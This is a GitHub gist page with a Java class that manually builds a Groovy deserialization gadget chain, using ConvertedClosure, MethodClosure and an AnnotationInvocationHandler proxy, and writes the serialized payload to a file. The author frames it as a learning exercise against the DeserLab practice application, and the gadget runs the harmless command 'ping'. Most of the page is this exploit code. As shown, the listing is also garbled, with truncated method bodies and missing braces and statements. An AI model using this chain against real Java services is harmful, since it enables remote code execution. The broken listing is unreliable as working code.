Skip to content

Instantly share code, notes, and snippets.

Created September 9, 2017 18:46
Show Gist options
  • Save DiabloHorn/44d91d3cbefa425b783a6849f23b8aa7 to your computer and use it in GitHub Desktop.
Save DiabloHorn/44d91d3cbefa425b783a6849f23b8aa7 to your computer and use it in GitHub Desktop.
Java class to generate a Groovy serialized payload
DiabloHorn -
For learning purposes we build the groovy payload ourselves instead of using
ysoserial. This helps us better understand the chain and the mechanisms
involved in exploiting this bug.
compile with:
javac -cp <path to groovy lib>
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
References, including those we borrowed code from
//regular imports
import java.util.Map;
//reflection imports
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
//library specific imports
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
public class ManualPayloadGenerate{
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException {
Object groovyExploit = getGroovyExploitObject();
public static void serializeToByteArray(Object object) throws IOException {
PrintStream out = System.out;
final ObjectOutputStream objOut = new ObjectOutputStream(out);
public static Object getGroovyExploitObject() throws ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping", "execute"), "entrySet");
//here we proxy all calls to methods
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerate.class.getClassLoader(), new Class[] {Map.class}, closure);
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
//this is were we set the initial chain for exploitation
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
return secondInvocationHandler;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment